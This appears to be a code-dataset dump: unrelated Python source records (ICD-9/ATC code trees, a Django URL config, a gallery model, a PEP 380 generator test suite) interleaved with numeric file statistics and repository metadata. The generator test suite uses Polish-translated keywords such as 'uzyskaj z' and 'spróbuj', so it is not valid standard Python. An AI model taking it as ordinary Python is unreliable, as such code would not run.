list(map(lambda x: x[0], edge_idx)) col = list(map(lambda x: x[1], edge_idx)) return [row, col] # tree order """ ICD-9 """ def expand_level2(): level2 = ['001-009', '010-018', '020-027', '030-041', '042', '045-049', '050-059', '060-066', '070-079', '080-088', '090-099', '100-104', '110-118', '120-129', '130-136', '137-139', '140-149', '150-159', '160-165', '170-176', '176', '179-189', '190-199', '200-208', '209', '210-229', '230-234', '235-238', '239', '240-246', '249-259', '260-269', '270-279', '280-289', '290-294', '295-299', '300-316', '317-319', '320-327', '330-337', '338', '339', '340-349', '350-359', '360-379', '380-389', '390-392', '393-398', '401-405', '410-414', '415-417', '420-429', '430-438', '440-449', '451-459', '460-466', '470-478', '480-488', '490-496', '500-508', '510-519', '520-529', '530-539', '540-543', '550-553', '555-558', '560-569', '570-579', '580-589', '590-599', '600-608', '610-611', '614-616', '617-629', '630-639', '640-649', '650-659', '660-669', '670-677', '678-679', '680-686', '690-698', '700-709', '710-719', '720-724', '725-729', '730-739', '740-759', '760-763', '764-779', '780-789', '790-796', '797-799', '800-804', '805-809', '810-819', '820-829', '830-839', '840-848', '850-854', '860-869', '870-879', '880-887', '890-897', '900-904', '905-909', '910-919', '920-924', '925-929', '930-939', '940-949', '950-957', '958-959', '960-979', '980-989', '990-995', '996-999', 'V01-V91', 'V01-V09', 'V10-V19', 'V20-V29', 'V30-V39', 'V40-V49', 'V50-V59', 'V60-V69', 'V70-V82', 'V83-V84', 'V85', 'V86', 'V87', 'V88', 'V89', 'V90', 'V91', 'E000-E899', 'E000', 'E001-E030', 'E800-E807', 'E810-E819', 'E820-E825', 'E826-E829', 'E830-E838', 'E840-E845', 'E846-E849', 'E850-E858', 'E860-E869', 'E870-E876', 'E878-E879', 'E880-E888', 'E890-E899', 'E900-E909', 'E910-E915', 'E916-E928', 'E929', 'E930-E949', 'E950-E959', 'E960-E969', 'E970-E978', 'E980-E989', 'E990-E999'] level2_expand = {} for i in level2: tokens = i.split('-') if i[0] == 'V': if len(tokens) == 1: level2_expand[i] = i else: for j in range(int(tokens[0][1:]), int(tokens[1][1:]) + 1): level2_expand["V%02d" % j] = i elif i[0] == 'E': if len(tokens) == 1: level2_expand[i] = i else: for j in range(int(tokens[0][1:]), int(tokens[1][1:]) + 1): level2_expand["E%03d" % j] = i else: if len(tokens) == 1: level2_expand[i] = i else: for j in range(int(tokens[0]), int(tokens[1]) + 1): level2_expand["%03d" % j] = i return level2_expand def build_icd9_tree(unique_codes): res = [] graph_voc = Voc() root_node = 'icd9_root' level3_dict = expand_level2() for code in unique_codes: level1 = code level2 = level1[:4] if level1[0] == 'E' else level1[:3] level3 = level3_dict[level2] level4 = root_node sample = [level1, level2, level3, level4] graph_voc.add_sentence(sample) res.append(sample) return res, graph_voc """ ATC """ def build_atc_tree(unique_codes): res = [] graph_voc = Voc() root_node = 'atc_root' for code in unique_codes: sample = [code] + [code[:i] for i in [4, 3, 1]] + [root_node] graph_voc.add_sentence(sample) res.append(sample) return res, graph_voc
33.547486
119
0.506078
846
6,005
3.471631
0.450355
0.057201
0.034048
0.042901
0.502894
0.489275
0.489275
0.489275
0.489275
0.464079
0
0.233286
0.297585
6,005
178
120
33.735955
0.463016
0.083764
0
0.490741
0
0
0.212746
0
0
0
0
0
0
1
0.064815
false
0
0.009259
0.009259
0.138889
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f97046e458cdf132a3e548ea4caeb76fd16d6a60
264
py
Python
python-practice/try_except/test.py
daohuei/practice-playground
50522a57ef056108c662cf668f26c97078caf61c
[ "MIT" ]
null
null
null
python-practice/try_except/test.py
daohuei/practice-playground
50522a57ef056108c662cf668f26c97078caf61c
[ "MIT" ]
null
null
null
python-practice/try_except/test.py
daohuei/practice-playground
50522a57ef056108c662cf668f26c97078caf61c
[ "MIT" ]
null
null
null
def test(x): try: if x: print(x) else: raise (Exception) except: print("wrong") finally: print("finally") print("after finally") if __name__ == "__main__": test(None) test("hello")
14.666667
29
0.473485
27
264
4.333333
0.62963
0.205128
0
0
0
0
0
0
0
0
0
0
0.393939
264
17
30
15.529412
0.73125
0
0
0
0
0
0.143939
0
0
0
0
0
0
1
0.071429
false
0
0
0
0.071429
0.285714
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f99603e8eec1673f4a64cee36ee57110d5ee25f8
1,651
py
Python
_GTW/_OMP/_SWP/Gallery.py
Tapyr/tapyr
4235fba6dce169fe747cce4d17d88dcf4a3f9f1d
[ "BSD-3-Clause" ]
6
2016-12-10T17:51:10.000Z
2021-10-11T07:51:48.000Z
_GTW/_OMP/_SWP/Gallery.py
Tapyr/tapyr
4235fba6dce169fe747cce4d17d88dcf4a3f9f1d
[ "BSD-3-Clause" ]
null
null
null
_GTW/_OMP/_SWP/Gallery.py
Tapyr/tapyr
4235fba6dce169fe747cce4d17d88dcf4a3f9f1d
[ "BSD-3-Clause" ]
3
2020-03-29T07:37:03.000Z
2021-01-21T16:08:40.000Z
# -*- coding: utf-8 -*- # Copyright (C) 2010-2014 Mag. Christian Tanzer All rights reserved # Glasauergasse 32, A--1130 Wien, Austria. tanzer@swing.co.at # **************************************************************************** # This module is part of the package GTW.OMP.SWP. # # This module is licensed under the terms of the BSD 3-Clause License # <http://www.c-tanzer.at/license/bsd_3c.html>. # **************************************************************************** # #++ # Name # GTW.OMP.SWP.Gallery # # Purpose # Model a gallery of pictures # # Revision Dates # 22-Mar-2010 (CT) Creation # 18-Nov-2011 (CT) Import `unicode_literals` from `__future__` # 17-Feb-2014 (CT) Set `Gallery.directory.do_check` to `False` # ««revision-date»»··· #-- from _MOM.import_MOM import * from _GTW import GTW import _GTW._OMP._SWP.Entity from _TFL.I18N import _, _T, _Tn _Ancestor_Essence = GTW.OMP.SWP.Object_PN class Gallery (_Ancestor_Essence) : """Model a gallery of pictures""" class _Attributes (_Ancestor_Essence._Attributes) : _Ancestor = _Ancestor_Essence._Attributes class directory (A_Dirname) : """Directory where pictures of gallery are stored.""" kind = Attr.Necessary ### `directory` is relative to the apache root ### existence check in filesystem would fail do_check = False # end class directory # end class _Attributes # end class Gallery if __name__ != "__main__" : GTW.OMP.SWP._Export ("*") ### __END__ GTW.OMP.SWP.Gallery
27.983051
78
0.573592
193
1,651
4.704663
0.53886
0.039648
0.059471
0.035242
0.050661
0
0
0
0
0
0
0.029249
0.233798
1,651
58
79
28.465517
0.683004
0.592974
0
0
0
0
0.014354
0
0
0
0
0
0
1
0
false
0
0.307692
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
f9a06207c84974886efff2ac173bc51a89719379
29,913
py
Python
Lib/test/test_pep380.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
1
2018-06-21T18:21:24.000Z
2018-06-21T18:21:24.000Z
Lib/test/test_pep380.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
null
null
null
Lib/test/test_pep380.py
sireliah/polish-python
605df4944c2d3bc25f8bf6964b274c0a0d297cc3
[ "PSF-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Test suite dla PEP 380 implementation adapted z original tests written by Greg Ewing see <http://www.cosc.canterbury.ac.nz/greg.ewing/python/uzyskaj-from/YieldFrom-Python3.1.2-rev5.zip> """ zaimportuj unittest zaimportuj io zaimportuj sys zaimportuj inspect zaimportuj parser z test.support zaimportuj captured_stderr, disable_gc, gc_collect klasa TestPEP380Operation(unittest.TestCase): """ Test semantics. """ def test_delegation_of_initial_next_to_subgenerator(self): """ Test delegation of initial next() call to subgenerator """ trace = [] def g1(): trace.append("Starting g1") uzyskaj z g2() trace.append("Finishing g1") def g2(): trace.append("Starting g2") uzyskaj 42 trace.append("Finishing g2") dla x w g1(): trace.append("Yielded %s" % (x,)) self.assertEqual(trace,[ "Starting g1", "Starting g2", "Yielded 42", "Finishing g2", "Finishing g1", ]) def test_raising_exception_in_initial_next_call(self): """ Test raising exception w initial next() call """ trace = [] def g1(): spróbuj: trace.append("Starting g1") uzyskaj z g2() w_końcu: trace.append("Finishing g1") def g2(): spróbuj: trace.append("Starting g2") podnieś ValueError("spanish inquisition occurred") w_końcu: trace.append("Finishing g2") spróbuj: dla x w g1(): trace.append("Yielded %s" % (x,)) wyjąwszy ValueError jako e: self.assertEqual(e.args[0], "spanish inquisition occurred") inaczej: self.fail("subgenerator failed to podnieś ValueError") self.assertEqual(trace,[ "Starting g1", "Starting g2", "Finishing g2", "Finishing g1", ]) def test_delegation_of_next_call_to_subgenerator(self): """ Test delegation of next() call to subgenerator """ trace = [] def g1(): trace.append("Starting g1") uzyskaj "g1 ham" uzyskaj z g2() uzyskaj "g1 eggs" trace.append("Finishing g1") def g2(): trace.append("Starting g2") uzyskaj "g2 spam" uzyskaj "g2 more spam" trace.append("Finishing g2") dla x w g1(): trace.append("Yielded %s" % (x,)) self.assertEqual(trace,[ "Starting g1", "Yielded g1 ham", "Starting g2", "Yielded g2 spam", "Yielded g2 more spam", "Finishing g2", "Yielded g1 eggs", "Finishing g1", ]) def test_raising_exception_in_delegated_next_call(self): """ Test raising exception w delegated next() call """ trace = [] def g1(): spróbuj: trace.append("Starting g1") uzyskaj "g1 ham" uzyskaj z g2() uzyskaj "g1 eggs" w_końcu: trace.append("Finishing g1") def g2(): spróbuj: trace.append("Starting g2") uzyskaj "g2 spam" podnieś ValueError("hovercraft jest full of eels") uzyskaj "g2 more spam" w_końcu: trace.append("Finishing g2") spróbuj: dla x w g1(): trace.append("Yielded %s" % (x,)) wyjąwszy ValueError jako e: self.assertEqual(e.args[0], "hovercraft jest full of eels") inaczej: self.fail("subgenerator failed to podnieś ValueError") self.assertEqual(trace,[ "Starting g1", "Yielded g1 ham", "Starting g2", "Yielded g2 spam", "Finishing g2", "Finishing g1", ]) def test_delegation_of_send(self): """ Test delegation of send() """ trace = [] def g1(): trace.append("Starting g1") x = uzyskaj "g1 ham" trace.append("g1 received %s" % (x,)) uzyskaj z g2() x = uzyskaj "g1 eggs" trace.append("g1 received %s" % (x,)) trace.append("Finishing g1") def g2(): trace.append("Starting g2") x = uzyskaj "g2 spam" trace.append("g2 received %s" % (x,)) x = uzyskaj "g2 more spam" trace.append("g2 received %s" % (x,)) trace.append("Finishing g2") g = g1() y = next(g) x = 1 spróbuj: dopóki 1: y = g.send(x) trace.append("Yielded %s" % (y,)) x += 1 wyjąwszy StopIteration: dalej self.assertEqual(trace,[ "Starting g1", "g1 received 1", "Starting g2", "Yielded g2 spam", "g2 received 2", "Yielded g2 more spam", "g2 received 3", "Finishing g2", "Yielded g1 eggs", "g1 received 4", "Finishing g1", ]) def test_handling_exception_while_delegating_send(self): """ Test handling exception dopóki delegating 'send' """ trace = [] def g1(): trace.append("Starting g1") x = uzyskaj "g1 ham" trace.append("g1 received %s" % (x,)) uzyskaj z g2() x = uzyskaj "g1 eggs" trace.append("g1 received %s" % (x,)) trace.append("Finishing g1") def g2(): trace.append("Starting g2") x = uzyskaj "g2 spam" trace.append("g2 received %s" % (x,)) podnieś ValueError("hovercraft jest full of eels") x = uzyskaj "g2 more spam" trace.append("g2 received %s" % (x,)) trace.append("Finishing g2") def run(): g = g1() y = next(g) x = 1 spróbuj: dopóki 1: y = g.send(x) trace.append("Yielded %s" % (y,)) x += 1 wyjąwszy StopIteration: trace.append("StopIteration") self.assertRaises(ValueError,run) self.assertEqual(trace,[ "Starting g1", "g1 received 1", "Starting g2", "Yielded g2 spam", "g2 received 2", ]) def test_delegating_close(self): """ Test delegating 'close' """ trace = [] def g1(): spróbuj: trace.append("Starting g1") uzyskaj "g1 ham" uzyskaj z g2() uzyskaj "g1 eggs" w_końcu: trace.append("Finishing g1") def g2(): spróbuj: trace.append("Starting g2") uzyskaj "g2 spam" uzyskaj "g2 more spam" w_końcu: trace.append("Finishing g2") g = g1() dla i w range(2): x = next(g) trace.append("Yielded %s" % (x,)) g.close() self.assertEqual(trace,[ "Starting g1", "Yielded g1 ham", "Starting g2", "Yielded g2 spam", "Finishing g2", "Finishing g1" ]) def test_handing_exception_while_delegating_close(self): """ Test handling exception dopóki delegating 'close' """ trace = [] def g1(): spróbuj: trace.append("Starting g1") uzyskaj "g1 ham" uzyskaj z g2() uzyskaj "g1 eggs" w_końcu: trace.append("Finishing g1") def g2(): spróbuj: trace.append("Starting g2") uzyskaj "g2 spam" uzyskaj "g2 more spam" w_końcu: trace.append("Finishing g2") podnieś ValueError("nybbles have exploded przy delight") spróbuj: g = g1() dla i w range(2): x = next(g) trace.append("Yielded %s" % (x,)) g.close() wyjąwszy ValueError jako e: self.assertEqual(e.args[0], "nybbles have exploded przy delight") self.assertIsInstance(e.__context__, GeneratorExit) inaczej: self.fail("subgenerator failed to podnieś ValueError") self.assertEqual(trace,[ "Starting g1", "Yielded g1 ham", "Starting g2", "Yielded g2 spam", "Finishing g2", "Finishing g1", ]) def test_delegating_throw(self): """ Test delegating 'throw' """ trace = [] def g1(): spróbuj: trace.append("Starting g1") uzyskaj "g1 ham" uzyskaj z g2() uzyskaj "g1 eggs" w_końcu: trace.append("Finishing g1") def g2(): spróbuj: trace.append("Starting g2") uzyskaj "g2 spam" uzyskaj "g2 more spam" w_końcu: trace.append("Finishing g2") spróbuj: g = g1() dla i w range(2): x = next(g) trace.append("Yielded %s" % (x,)) e = ValueError("tomato ejected") g.throw(e) wyjąwszy ValueError jako e: self.assertEqual(e.args[0], "tomato ejected") inaczej: self.fail("subgenerator failed to podnieś ValueError") self.assertEqual(trace,[ "Starting g1", "Yielded g1 ham", "Starting g2", "Yielded g2 spam", "Finishing g2", "Finishing g1", ]) def test_value_attribute_of_StopIteration_exception(self): """ Test 'value' attribute of StopIteration exception """ trace = [] def pex(e): trace.append("%s: %s" % (e.__class__.__name__, e)) trace.append("value = %s" % (e.value,)) e = StopIteration() pex(e) e = StopIteration("spam") pex(e) e.value = "eggs" pex(e) self.assertEqual(trace,[ "StopIteration: ", "value = Nic", "StopIteration: spam", "value = spam", "StopIteration: spam", "value = eggs", ]) def test_exception_value_crash(self): # There used to be a refcount error when the zwróć value # stored w the StopIteration has a refcount of 1. def g1(): uzyskaj z g2() def g2(): uzyskaj "g2" zwróć [42] self.assertEqual(list(g1()), ["g2"]) def test_generator_return_value(self): """ Test generator zwróć value """ trace = [] def g1(): trace.append("Starting g1") uzyskaj "g1 ham" ret = uzyskaj z g2() trace.append("g2 returned %s" % (ret,)) ret = uzyskaj z g2(42) trace.append("g2 returned %s" % (ret,)) uzyskaj "g1 eggs" trace.append("Finishing g1") def g2(v = Nic): trace.append("Starting g2") uzyskaj "g2 spam" uzyskaj "g2 more spam" trace.append("Finishing g2") jeżeli v: zwróć v dla x w g1(): trace.append("Yielded %s" % (x,)) self.assertEqual(trace,[ "Starting g1", "Yielded g1 ham", "Starting g2", "Yielded g2 spam", "Yielded g2 more spam", "Finishing g2", "g2 returned Nic", "Starting g2", "Yielded g2 spam", "Yielded g2 more spam", "Finishing g2", "g2 returned 42", "Yielded g1 eggs", "Finishing g1", ]) def test_delegation_of_next_to_non_generator(self): """ Test delegation of next() to non-generator """ trace = [] def g(): uzyskaj z range(3) dla x w g(): trace.append("Yielded %s" % (x,)) self.assertEqual(trace,[ "Yielded 0", "Yielded 1", "Yielded 2", ]) def test_conversion_of_sendNic_to_next(self): """ Test conversion of send(Nic) to next() """ trace = [] def g(): uzyskaj z range(3) gi = g() dla x w range(3): y = gi.send(Nic) trace.append("Yielded: %s" % (y,)) self.assertEqual(trace,[ "Yielded: 0", "Yielded: 1", "Yielded: 2", ]) def test_delegation_of_close_to_non_generator(self): """ Test delegation of close() to non-generator """ trace = [] def g(): spróbuj: trace.append("starting g") uzyskaj z range(3) trace.append("g should nie be here") w_końcu: trace.append("finishing g") gi = g() next(gi) przy captured_stderr() jako output: gi.close() self.assertEqual(output.getvalue(), '') self.assertEqual(trace,[ "starting g", "finishing g", ]) def test_delegating_throw_to_non_generator(self): """ Test delegating 'throw' to non-generator """ trace = [] def g(): spróbuj: trace.append("Starting g") uzyskaj z range(10) w_końcu: trace.append("Finishing g") spróbuj: gi = g() dla i w range(5): x = next(gi) trace.append("Yielded %s" % (x,)) e = ValueError("tomato ejected") gi.throw(e) wyjąwszy ValueError jako e: self.assertEqual(e.args[0],"tomato ejected") inaczej: self.fail("subgenerator failed to podnieś ValueError") self.assertEqual(trace,[ "Starting g", "Yielded 0", "Yielded 1", "Yielded 2", "Yielded 3", "Yielded 4", "Finishing g", ]) def test_attempting_to_send_to_non_generator(self): """ Test attempting to send to non-generator """ trace = [] def g(): spróbuj: trace.append("starting g") uzyskaj z range(3) trace.append("g should nie be here") w_końcu: trace.append("finishing g") spróbuj: gi = g() next(gi) dla x w range(3): y = gi.send(42) trace.append("Should nie have uzyskajed: %s" % (y,)) wyjąwszy AttributeError jako e: self.assertIn("send", e.args[0]) inaczej: self.fail("was able to send into non-generator") self.assertEqual(trace,[ "starting g", "finishing g", ]) def test_broken_getattr_handling(self): """ Test subiterator przy a broken getattr implementation """ klasa Broken: def __iter__(self): zwróć self def __next__(self): zwróć 1 def __getattr__(self, attr): 1/0 def g(): uzyskaj z Broken() przy self.assertRaises(ZeroDivisionError): gi = g() self.assertEqual(next(gi), 1) gi.send(1) przy self.assertRaises(ZeroDivisionError): gi = g() self.assertEqual(next(gi), 1) gi.throw(AttributeError) przy captured_stderr() jako output: gi = g() self.assertEqual(next(gi), 1) gi.close() self.assertIn('ZeroDivisionError', output.getvalue()) def test_exception_in_initial_next_call(self): """ Test exception w initial next() call """ trace = [] def g1(): trace.append("g1 about to uzyskaj z g2") uzyskaj z g2() trace.append("g1 should nie be here") def g2(): uzyskaj 1/0 def run(): gi = g1() next(gi) self.assertRaises(ZeroDivisionError,run) self.assertEqual(trace,[ "g1 about to uzyskaj z g2" ]) def test_attempted_uzyskaj_from_loop(self): """ Test attempted uzyskaj-z loop """ trace = [] def g1(): trace.append("g1: starting") uzyskaj "y1" trace.append("g1: about to uzyskaj z g2") uzyskaj z g2() trace.append("g1 should nie be here") def g2(): trace.append("g2: starting") uzyskaj "y2" trace.append("g2: about to uzyskaj z g1") uzyskaj z gi trace.append("g2 should nie be here") spróbuj: gi = g1() dla y w gi: trace.append("Yielded: %s" % (y,)) wyjąwszy ValueError jako e: self.assertEqual(e.args[0],"generator already executing") inaczej: self.fail("subgenerator didn't podnieś ValueError") self.assertEqual(trace,[ "g1: starting", "Yielded: y1", "g1: about to uzyskaj z g2", "g2: starting", "Yielded: y2", "g2: about to uzyskaj z g1", ]) def test_returning_value_from_delegated_throw(self): """ Test returning value z delegated 'throw' """ trace = [] def g1(): spróbuj: trace.append("Starting g1") uzyskaj "g1 ham" uzyskaj z g2() uzyskaj "g1 eggs" w_końcu: trace.append("Finishing g1") def g2(): spróbuj: trace.append("Starting g2") uzyskaj "g2 spam" uzyskaj "g2 more spam" wyjąwszy LunchError: trace.append("Caught LunchError w g2") uzyskaj "g2 lunch saved" uzyskaj "g2 yet more spam" klasa LunchError(Exception): dalej g = g1() dla i w range(2): x = next(g) trace.append("Yielded %s" % (x,)) e = LunchError("tomato ejected") g.throw(e) dla x w g: trace.append("Yielded %s" % (x,)) self.assertEqual(trace,[ "Starting g1", "Yielded g1 ham", "Starting g2", "Yielded g2 spam", "Caught LunchError w g2", "Yielded g2 yet more spam", "Yielded g1 eggs", "Finishing g1", ]) def test_next_and_return_with_value(self): """ Test next oraz zwróć przy value """ trace = [] def f(r): gi = g(r) next(gi) spróbuj: trace.append("f resuming g") next(gi) trace.append("f SHOULD NOT BE HERE") wyjąwszy StopIteration jako e: trace.append("f caught %s" % (repr(e),)) def g(r): trace.append("g starting") uzyskaj trace.append("g returning %s" % (r,)) zwróć r f(Nic) f(42) self.assertEqual(trace,[ "g starting", "f resuming g", "g returning Nic", "f caught StopIteration()", "g starting", "f resuming g", "g returning 42", "f caught StopIteration(42,)", ]) def test_send_and_return_with_value(self): """ Test send oraz zwróć przy value """ trace = [] def f(r): gi = g(r) next(gi) spróbuj: trace.append("f sending spam to g") gi.send("spam") trace.append("f SHOULD NOT BE HERE") wyjąwszy StopIteration jako e: trace.append("f caught %r" % (e,)) def g(r): trace.append("g starting") x = uzyskaj trace.append("g received %s" % (x,)) trace.append("g returning %s" % (r,)) zwróć r f(Nic) f(42) self.assertEqual(trace,[ "g starting", "f sending spam to g", "g received spam", "g returning Nic", "f caught StopIteration()", "g starting", "f sending spam to g", "g received spam", "g returning 42", "f caught StopIteration(42,)", ]) def test_catching_exception_from_subgen_and_returning(self): """ Test catching an exception thrown into a subgenerator oraz returning a value """ trace = [] def inner(): spróbuj: uzyskaj 1 wyjąwszy ValueError: trace.append("inner caught ValueError") zwróć 2 def outer(): v = uzyskaj z inner() trace.append("inner returned %r to outer" % v) uzyskaj v g = outer() trace.append(next(g)) trace.append(g.throw(ValueError)) self.assertEqual(trace,[ 1, "inner caught ValueError", "inner returned 2 to outer", 2, ]) def test_throwing_GeneratorExit_into_subgen_that_returns(self): """ Test throwing GeneratorExit into a subgenerator that catches it oraz returns normally. """ trace = [] def f(): spróbuj: trace.append("Enter f") uzyskaj trace.append("Exit f") wyjąwszy GeneratorExit: zwróć def g(): trace.append("Enter g") uzyskaj z f() trace.append("Exit g") spróbuj: gi = g() next(gi) gi.throw(GeneratorExit) wyjąwszy GeneratorExit: dalej inaczej: self.fail("subgenerator failed to podnieś GeneratorExit") self.assertEqual(trace,[ "Enter g", "Enter f", ]) def test_throwing_GeneratorExit_into_subgenerator_that_uzyskajs(self): """ Test throwing GeneratorExit into a subgenerator that catches it oraz uzyskajs. """ trace = [] def f(): spróbuj: trace.append("Enter f") uzyskaj trace.append("Exit f") wyjąwszy GeneratorExit: uzyskaj def g(): trace.append("Enter g") uzyskaj z f() trace.append("Exit g") spróbuj: gi = g() next(gi) gi.throw(GeneratorExit) wyjąwszy RuntimeError jako e: self.assertEqual(e.args[0], "generator ignored GeneratorExit") inaczej: self.fail("subgenerator failed to podnieś GeneratorExit") self.assertEqual(trace,[ "Enter g", "Enter f", ]) def test_throwing_GeneratorExit_into_subgen_that_raises(self): """ Test throwing GeneratorExit into a subgenerator that catches it oraz podnieśs a different exception. """ trace = [] def f(): spróbuj: trace.append("Enter f") uzyskaj trace.append("Exit f") wyjąwszy GeneratorExit: podnieś ValueError("Vorpal bunny encountered") def g(): trace.append("Enter g") uzyskaj z f() trace.append("Exit g") spróbuj: gi = g() next(gi) gi.throw(GeneratorExit) wyjąwszy ValueError jako e: self.assertEqual(e.args[0], "Vorpal bunny encountered") self.assertIsInstance(e.__context__, GeneratorExit) inaczej: self.fail("subgenerator failed to podnieś ValueError") self.assertEqual(trace,[ "Enter g", "Enter f", ]) def test_uzyskaj_from_empty(self): def g(): uzyskaj z () self.assertRaises(StopIteration, next, g()) def test_delegating_generators_claim_to_be_running(self): # Check przy basic iteration def one(): uzyskaj 0 uzyskaj z two() uzyskaj 3 def two(): uzyskaj 1 spróbuj: uzyskaj z g1 wyjąwszy ValueError: dalej uzyskaj 2 g1 = one() self.assertEqual(list(g1), [0, 1, 2, 3]) # Check przy send g1 = one() res = [next(g1)] spróbuj: dopóki Prawda: res.append(g1.send(42)) wyjąwszy StopIteration: dalej self.assertEqual(res, [0, 1, 2, 3]) # Check przy throw klasa MyErr(Exception): dalej def one(): spróbuj: uzyskaj 0 wyjąwszy MyErr: dalej uzyskaj z two() spróbuj: uzyskaj 3 wyjąwszy MyErr: dalej def two(): spróbuj: uzyskaj 1 wyjąwszy MyErr: dalej spróbuj: uzyskaj z g1 wyjąwszy ValueError: dalej spróbuj: uzyskaj 2 wyjąwszy MyErr: dalej g1 = one() res = [next(g1)] spróbuj: dopóki Prawda: res.append(g1.throw(MyErr)) wyjąwszy StopIteration: dalej # Check przy close klasa MyIt(object): def __iter__(self): zwróć self def __next__(self): zwróć 42 def close(self_): self.assertPrawda(g1.gi_running) self.assertRaises(ValueError, next, g1) def one(): uzyskaj z MyIt() g1 = one() next(g1) g1.close() def test_delegator_is_visible_to_debugger(self): def call_stack(): zwróć [f[3] dla f w inspect.stack()] def gen(): uzyskaj call_stack() uzyskaj call_stack() uzyskaj call_stack() def spam(g): uzyskaj z g def eggs(g): uzyskaj z g dla stack w spam(gen()): self.assertPrawda('spam' w stack) dla stack w spam(eggs(gen())): self.assertPrawda('spam' w stack oraz 'eggs' w stack) def test_custom_iterator_return(self): # See issue #15568 klasa MyIter: def __iter__(self): zwróć self def __next__(self): podnieś StopIteration(42) def gen(): nonlocal ret ret = uzyskaj z MyIter() ret = Nic list(gen()) self.assertEqual(ret, 42) def test_close_with_cleared_frame(self): # See issue #17669. # # Create a stack of generators: outer() delegating to inner() # delegating to innermost(). The key point jest that the instance of # inner jest created first: this ensures that its frame appears before # the instance of outer w the GC linked list. # # At the gc.collect call: # - frame_clear jest called on the inner_gen frame. # - gen_dealloc jest called on the outer_gen generator (the only # reference jest w the frame's locals). # - gen_close jest called on the outer_gen generator. # - gen_close_iter jest called to close the inner_gen generator, which # w turn calls gen_close, oraz gen_yf. # # Previously, gen_yf would crash since inner_gen's frame had been # cleared (and w particular f_stacktop was NULL). def innermost(): uzyskaj def inner(): outer_gen = uzyskaj uzyskaj z innermost() def outer(): inner_gen = uzyskaj uzyskaj z inner_gen przy disable_gc(): inner_gen = inner() outer_gen = outer() outer_gen.send(Nic) outer_gen.send(inner_gen) outer_gen.send(outer_gen) usuń outer_gen usuń inner_gen gc_collect() def test_send_tuple_with_custom_generator(self): # See issue #21209. klasa MyGen: def __iter__(self): zwróć self def __next__(self): zwróć 42 def send(self, what): nonlocal v v = what zwróć Nic def outer(): v = uzyskaj z MyGen() g = outer() next(g) v = Nic g.send((1, 2, 3, 4)) self.assertEqual(v, (1, 2, 3, 4)) jeżeli __name__ == '__main__': unittest.main()
29.384086
100
0.472704
3,031
29,913
4.576048
0.096008
0.09279
0.034247
0.021918
0.661788
0.635328
0.587022
0.527325
0.505119
0.464528
0
0.024047
0.427239
29,913
1,017
101
29.412979
0.785502
0.031826
0
0.75237
0
0
0.163477
0
0
0
0
0
0.065166
0
null
null
0
0.007109
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
f9a523749d6521a99b44004b54227fe7b9247ae3
177
py
Python
helpfriends/usuarios/urls.py
TrivialBox/HackatonUPS2016
6e18c78b5769ab372f694220c56d52d2c6ec946c
[ "MIT" ]
null
null
null
helpfriends/usuarios/urls.py
TrivialBox/HackatonUPS2016
6e18c78b5769ab372f694220c56d52d2c6ec946c
[ "MIT" ]
null
null
null
helpfriends/usuarios/urls.py
TrivialBox/HackatonUPS2016
6e18c78b5769ab372f694220c56d52d2c6ec946c
[ "MIT" ]
null
null
null
from django.conf.urls import url from . import views urlpatterns = [ url(r'^(?P<id>\d{10})/' r'(?P<accion>\d+)/$', views.accion, name='accion' ), ]
17.7
35
0.525424
24
177
3.875
0.625
0.043011
0
0
0
0
0
0
0
0
0
0.015267
0.259887
177
9
36
19.666667
0.694656
0
0
0
0
0
0.220339
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f9a877de9bcb8f93ba55aa492239eb05b3367a96
139
py
Python
build/lib/HappyWorld/__init__.py
asubratgupta/HappyWorld
e9ae99f1a84ad60ff3b51f1b332f7d7d787ed658
[ "MIT" ]
null
null
null
build/lib/HappyWorld/__init__.py
asubratgupta/HappyWorld
e9ae99f1a84ad60ff3b51f1b332f7d7d787ed658
[ "MIT" ]
null
null
null
build/lib/HappyWorld/__init__.py
asubratgupta/HappyWorld
e9ae99f1a84ad60ff3b51f1b332f7d7d787ed658
[ "MIT" ]
null
null
null
import webbrowser, os page = 'file:///' + os.getcwd() + '/WebPage/index.html' if __name__ == "__main__": webbrowser.open_new_tab(page)
27.8
55
0.676259
18
139
4.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.136691
139
5
56
27.8
0.7
0
0
0
0
0
0.25
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f9b56757319c0fdcf4c2597cb37fb0e1d79b693d
2,249
py
Python
sdk/python/pulumi_azure/ad/service_principal_password.py
Frassle/pulumi-azure
593dd1020b09b83422928913d06bf91538926155
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure/ad/service_principal_password.py
Frassle/pulumi-azure
593dd1020b09b83422928913d06bf91538926155
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure/ad/service_principal_password.py
Frassle/pulumi-azure
593dd1020b09b83422928913d06bf91538926155
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
